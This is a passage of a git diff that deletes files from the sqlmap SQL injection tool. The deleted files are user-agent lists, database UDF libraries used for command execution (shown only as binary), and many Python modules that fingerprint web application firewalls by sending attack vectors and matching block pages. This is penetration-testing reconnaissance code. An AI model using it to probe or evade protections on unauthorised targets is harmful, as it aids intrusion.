Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528+ (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; nl) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; nl) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl-PL) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl-PL) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru-RU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE) AppleWebKit/523.13 (KHTML, like Gecko) Version/3.0 Safari/523.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; tr-TR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr-FR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN) AppleWebKit/533+ (KHTML, like Gecko) -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-ca) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+ -Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+ \ No newline at end of file diff --git a/txt/wordlist.zip b/txt/wordlist.zip deleted file mode 100644 index 605a9c0eb2f..00000000000 Binary files a/txt/wordlist.zip and /dev/null differ diff --git a/udf/mysql/linux/32/lib_mysqludf_sys.so_ b/udf/mysql/linux/32/lib_mysqludf_sys.so_ deleted file mode 100644 index 7e0eeb95ebc..00000000000 Binary files a/udf/mysql/linux/32/lib_mysqludf_sys.so_ and /dev/null differ diff --git a/udf/mysql/linux/64/lib_mysqludf_sys.so_ b/udf/mysql/linux/64/lib_mysqludf_sys.so_ deleted file mode 100644 index c7a4d7a10bb..00000000000 Binary files a/udf/mysql/linux/64/lib_mysqludf_sys.so_ and /dev/null differ diff --git a/udf/mysql/windows/32/lib_mysqludf_sys.dll_ b/udf/mysql/windows/32/lib_mysqludf_sys.dll_ deleted file mode 100644 index 22a11422050..00000000000 Binary files a/udf/mysql/windows/32/lib_mysqludf_sys.dll_ and /dev/null differ diff --git a/udf/mysql/windows/64/lib_mysqludf_sys.dll_ b/udf/mysql/windows/64/lib_mysqludf_sys.dll_ deleted file mode 100644 index 3641746f11a..00000000000 Binary files a/udf/mysql/windows/64/lib_mysqludf_sys.dll_ and /dev/null differ diff --git a/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ deleted file mode 100644 index bae51c6fe8a..00000000000 Binary files a/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ deleted file mode 100644 index d0c04ec7881..00000000000 Binary files a/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ deleted file mode 100644 index 3bb00e2d781..00000000000 Binary files a/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ deleted file mode 100644 index c3f81620e6d..00000000000 Binary files a/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ deleted file mode 100644 index 8b1d22aaa32..00000000000 Binary files a/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ deleted file mode 100644 index 804434aeb01..00000000000 Binary files a/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ deleted file mode 100644 index 17b69f42ee9..00000000000 Binary files a/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ deleted file mode 100644 index 766225e5a24..00000000000 Binary files a/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ deleted file mode 100644 index 9b439667f5a..00000000000 Binary files a/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ deleted file mode 100644 index 5ff69935f68..00000000000 Binary files a/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ deleted file mode 100644 index 93009945630..00000000000 Binary files a/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ deleted file mode 100644 index 96afcf3d066..00000000000 Binary files a/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ deleted file mode 100644 index 159d05a8d50..00000000000 Binary files a/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ deleted file mode 100644 index 0363612fe4f..00000000000 Binary files a/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ deleted file mode 100644 index a21fea8ac53..00000000000 Binary files a/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ deleted file mode 100644 index 22a6f438645..00000000000 Binary files a/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ b/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ deleted file mode 100644 index 2d3ce9f9eaa..00000000000 Binary files a/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ and /dev/null differ diff --git a/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ b/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ deleted file mode 100644 index c4fd18d28aa..00000000000 Binary files a/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ and /dev/null differ diff --git a/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ b/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ deleted file mode 100644 index 2beba1d4c91..00000000000 Binary files a/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ and /dev/null differ diff --git a/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ b/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ deleted file mode 100644 index 612535c700a..00000000000 Binary files a/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ and /dev/null differ diff --git a/waf/360.py b/waf/360.py deleted file mode 100644 index 06d287e2168..00000000000 --- a/waf/360.py +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "360 Web Application Firewall (360)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = headers.get("X-Powered-By-360wzb") is not None - retval |= code == 493 and "/wzws-waf-cgi/" in (page or "") - retval |= all(_ in (page or "") for _ in ("eventID", "If you are the Webmaster", "493")) - if retval: - break - - return retval diff --git a/waf/__init__.py b/waf/__init__.py deleted file mode 100644 index c654cbef7f4..00000000000 --- a/waf/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -pass diff --git a/waf/aesecure.py b/waf/aesecure.py deleted file mode 100644 index 4c85b8b5d8a..00000000000 --- a/waf/aesecure.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "aeSecure (aeSecure)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval = headers.get("aeSecure-code") is not None - retval |= all(_ in (page or "") for _ in ("aeSecure", "aesecure_denied.png")) - if retval: - break - - return retval diff --git a/waf/airlock.py b/waf/airlock.py deleted file mode 100644 index 4f24026368d..00000000000 --- a/waf/airlock.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Airlock (Phion/Ergon)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval = re.search(r"\AAL[_-]?(SESS|LB)", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= all(_ in (page or "") for _ in ("The server detected a syntax error in your request", "Check your request and all parameters", "Bad Request", "Your request ID was")) - if retval: - break - - return retval diff --git a/waf/anquanbao.py b/waf/anquanbao.py deleted file mode 100644 index 51a1eb19384..00000000000 --- a/waf/anquanbao.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Anquanbao Web Application Firewall (Anquanbao)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = code == 405 and any(_ in (page or "") for _ in ("/aqb_cc/error/", "hidden_intercept_time")) - if retval: - break - - return retval diff --git a/waf/approach.py b/waf/approach.py deleted file mode 100644 index 80e9d563662..00000000000 --- a/waf/approach.py +++ /dev/null @@ -1,27 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Approach Web Application Firewall (Approach)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"Approach Web Application Firewall", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= re.search(r"Approach()? Web Application Firewall", page or "", re.I) is not None - retval |= " Your IP address has been logged and this information could be used by authorities to track you." in (page or "") - retval |= all(_ in (page or "") for _ in ("Sorry for the inconvenience!", "If this was an legitimate request please contact us with details!")) - if retval: - break - - return retval diff --git a/waf/armor.py b/waf/armor.py deleted file mode 100644 index 266c94ab8e1..00000000000 --- a/waf/armor.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Armor Protection (Armor Defense)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = "This request has been blocked by website protection from Armor" in (page or "") - if retval: - break - - return retval diff --git a/waf/asm.py b/waf/asm.py deleted file mode 100644 index 17244efb49a..00000000000 --- a/waf/asm.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Application Security Manager (F5 Networks)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = "The requested URL was rejected. Please consult with your administrator." in (page or "") - retval |= all(_ in (page or "") for _ in ("security.f5aas.com", "Please enable JavaScript to view the page content")) - if retval: - break - - return retval diff --git a/waf/aws.py b/waf/aws.py deleted file mode 100644 index 694ad589f0b..00000000000 --- a/waf/aws.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Amazon Web Services Web Application Firewall (Amazon)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = code == 403 and re.search(r"\bAWS", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/barracuda.py b/waf/barracuda.py deleted file mode 100644 index a8e7754c6d6..00000000000 --- a/waf/barracuda.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Barracuda Web Application Firewall (Barracuda Networks)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval = re.search(r"\Abarra_counter_session=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= re.search(r"(\A|\b)barracuda_", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= "when this page occurred and the event ID found at the bottom of the page" in (page or "") - if retval: - break - - return retval diff --git a/waf/bekchy.py b/waf/bekchy.py deleted file mode 100644 index 96035d9793b..00000000000 --- a/waf/bekchy.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Bekchy (Faydata Information Technologies Inc.)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = any(_ in (page or "") for _ in ("Bekchy - Access Denided", "")) - if retval: - break - - return retval diff --git a/waf/bitninja.py b/waf/bitninja.py deleted file mode 100644 index 648446388c6..00000000000 --- a/waf/bitninja.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "BitNinja (BitNinja)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = any(_ in (page or "") for _ in ("alt=\"BitNinja|Security check by BitNinja", "your IP will be removed from BitNinja", "Visitor anti-robot validation")) - if retval: - break - - return retval diff --git a/waf/bluedon.py b/waf/bluedon.py deleted file mode 100644 index c38b025a6e2..00000000000 --- a/waf/bluedon.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Bluedon Web Application Firewall (Bluedon Information Security Technology)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"BDWAF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= re.search(r"Bluedon Web Application Firewall", page or "", re.I) is not None - if retval: - break - - return retval diff --git a/waf/cerber.py b/waf/cerber.py deleted file mode 100644 index bccb7f05450..00000000000 --- a/waf/cerber.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "WP Cerber Security (Cerber Tech)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = any(_ in (page or "") for _ in ("We're sorry, you are not allowed to proceed", "Your request looks suspicious or similar to automated requests from spam posting software")) - if retval: - break - - return retval diff --git a/waf/chinacache.py b/waf/chinacache.py deleted file mode 100644 index caf223851b2..00000000000 --- a/waf/chinacache.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "ChinaCache (ChinaCache Networks)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = code >= 400 and headers.get("Powered-By-ChinaCache") is not None - - if retval: - break - - return retval \ No newline at end of file diff --git a/waf/ciscoacexml.py b/waf/ciscoacexml.py deleted file mode 100644 index ec6d2c44e66..00000000000 --- a/waf/ciscoacexml.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Cisco ACE XML Gateway (Cisco Systems)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval = re.search(r"ACE XML Gateway", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/cloudbric.py b/waf/cloudbric.py deleted file mode 100644 index 6f2931f55e2..00000000000 --- a/waf/cloudbric.py +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Cloudbric Web Application Firewall (Cloudbric)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = code >= 400 and all(_ in (page or "") for _ in ("Cloudbric", "Malicious Code Detected")) - - return retval diff --git a/waf/cloudflare.py b/waf/cloudflare.py deleted file mode 100644 index 2112eba936f..00000000000 --- a/waf/cloudflare.py +++ /dev/null @@ -1,33 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "CloudFlare Web Application Firewall (CloudFlare)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - - if code >= 400: - retval |= re.search(r"cloudflare", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= re.search(r"\A__cfduid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= headers.get("cf-ray") is not None - retval |= re.search(r"CloudFlare Ray ID:|var CloudFlare=", page or "") is not None - retval |= all(_ in (page or "") for _ in ("Attention Required! | Cloudflare", "Please complete the security check to access")) - retval |= all(_ in (page or "") for _ in ("Attention Required! | Cloudflare", "Sorry, you have been blocked")) - retval |= any(_ in (page or "") for _ in ("CLOUDFLARE_ERROR_500S_BOX", "::CAPTCHA_BOX::")) - - if retval: - break - - return retval diff --git a/waf/cloudfront.py b/waf/cloudfront.py deleted file mode 100644 index 230c1fcb760..00000000000 --- a/waf/cloudfront.py +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "CloudFront (Amazon)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - - retval = all(_ in (page or "") for _ in ("Generated by cloudfront", "Request blocked")) - - if retval: - break - - return retval diff --git a/waf/comodo.py b/waf/comodo.py deleted file mode 100644 index 6fd2c114a12..00000000000 --- a/waf/comodo.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Comodo Web Application Firewall (Comodo)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval = re.search(r"Protected by COMODO WAF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/crawlprotect.py b/waf/crawlprotect.py deleted file mode 100644 index 8f0e94ec8fe..00000000000 --- a/waf/crawlprotect.py +++ /dev/null @@ -1,20 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "CrawlProtect (Jean-Denis Brun)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, code = get_page(get=vector) - retval = code >= 400 and "This site is protected by CrawlProtect" in (page or "") - retval |= "CrawlProtect" in (page or "") - - return retval diff --git a/waf/distil.py b/waf/distil.py deleted file mode 100644 index e82093864e2..00000000000 --- a/waf/distil.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Distil Web Application Firewall Security (Distil Networks)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval = headers.get("x-distil-cs") is not None - retval |= any(_ in (page or "") for _ in ("distilCaptchaForm", "distilCallbackGuard", "cdn.distilnetworks.com/images/anomaly-detected.png")) - if retval: - break - - return retval diff --git a/waf/dotdefender.py b/waf/dotdefender.py deleted file mode 100644 index cf9c2d01c19..00000000000 --- a/waf/dotdefender.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "dotDefender (Applicure Technologies)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval = headers.get("X-dotDefender-denied", "") == "1" - retval |= any(_ in (page or "") for _ in ("dotDefender Blocked Your Request", '<meta name="description" content="Applicure is the leading provider of web application security', "Please contact the site administrator, and provide the following Reference ID:")) - if retval: - break - - return retval diff --git a/waf/edgecast.py b/waf/edgecast.py deleted file mode 100644 index 444ea35d4af..00000000000 --- 